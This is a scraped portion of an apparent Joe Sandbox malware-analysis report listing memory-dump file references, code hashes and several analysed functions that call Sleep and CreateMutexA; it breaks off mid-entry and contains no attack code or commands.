Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 324b532aadbb4a4624d5b4f97521140eeaeba72a2434f8e373a1744dc9b3fb14
Instruction ID: 6ecf7eb7d86b0754365763db0395bcf09b53eb90d3bc61143ac479e3eb83c360
Opcode Fuzzy Hash: 324b532aadbb4a4624d5b4f97521140eeaeba72a2434f8e373a1744dc9b3fb14
Instruction Fuzzy Hash: 05316A31B00100CBEB18ABB9D8C9B6DB762EF81315F244719E814972D5C7B59DC8872A

Function 00C5A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C5A963
CreateMutexA.KERNEL32(00000000,00000000,00CB3254), ref: 00C5A981

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4744a4e659f7562737a225f56536b67c84b064b5ee4a8e5e82d8bb0f91dbb910
Instruction ID: 4bd4017943ee569e41e5f0de6070b84cd33949b779bfff9cb0e2ba9817f8a68a
Opcode Fuzzy Hash: 4744a4e659f7562737a225f56536b67c84b064b5ee4a8e5e82d8bb0f91dbb910
Instruction Fuzzy Hash: 70314831B00100CBEB18EBB9DCC9B6DB762EF81319F248758E8149B2D1DB759DC9871A

Function 00C5A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C5A963
CreateMutexA.KERNEL32(00000000,00000000,00CB3254), ref: 00C5A981

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d016b7229bc70737655c3daf7c38222df86520b6e9aaad1104023c7c678e7038
Instruction ID: 3d4cb7050ebda44ef27bf7478a446d4767ffd8caa3c959860b8ed64fcdaab6ef
Opcode Fuzzy Hash: d016b7229bc70737655c3daf7c38222df86520b6e9aaad1104023c7c678e7038
Instruction Fuzzy Hash: 7D316A35B00240CBEB18EB79DCC576DB762EB85315F248758E814972D1C7759EC8871A

Function 00C59ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C5A963
CreateMutexA.KERNEL32(00000000,00000000,00CB3254), ref: 00C5A981

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6b48544c35081d88b6e186a868a6b0528b02076cfec05ea7a1dd9a23a5bf8f94
Instruction ID: 3b4a5b3ad82eeadd85b847faf4ef7b28b2ff9f590b4b11094f1f262ae3bc1456
Opcode Fuzzy Hash: 6b48544c35081d88b6e186a868a6b0528b02076cfec05ea7a1dd9a23a5bf8f94
Instruction Fuzzy Hash: FF214532B04241DBFB28AB68ECC5B2CB762EB81315F204359E818872D2C7759EC88616

Function 00C5A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C5A963
CreateMutexA.KERNEL32(00000000,00000000,00CB3254), ref: 00C5A981

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: df1249aa80655d295810721bc8943b38690fd6a6e294bb6744001af50670deb3
Instruction ID: 0c8482e8f0b60b657244ae26da4a994d1dbfb1d0392008293c9324879188fdd0
Opcode Fuzzy Hash: df1249aa80655d295810721bc8943b38690fd6a6e294bb6744001af50670deb3
Instruction Fuzzy Hash: DB216D39244201CBFB24776A988773DB362DF81306F240B1AED14963D2CA765ACD925B

Function 00C5A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
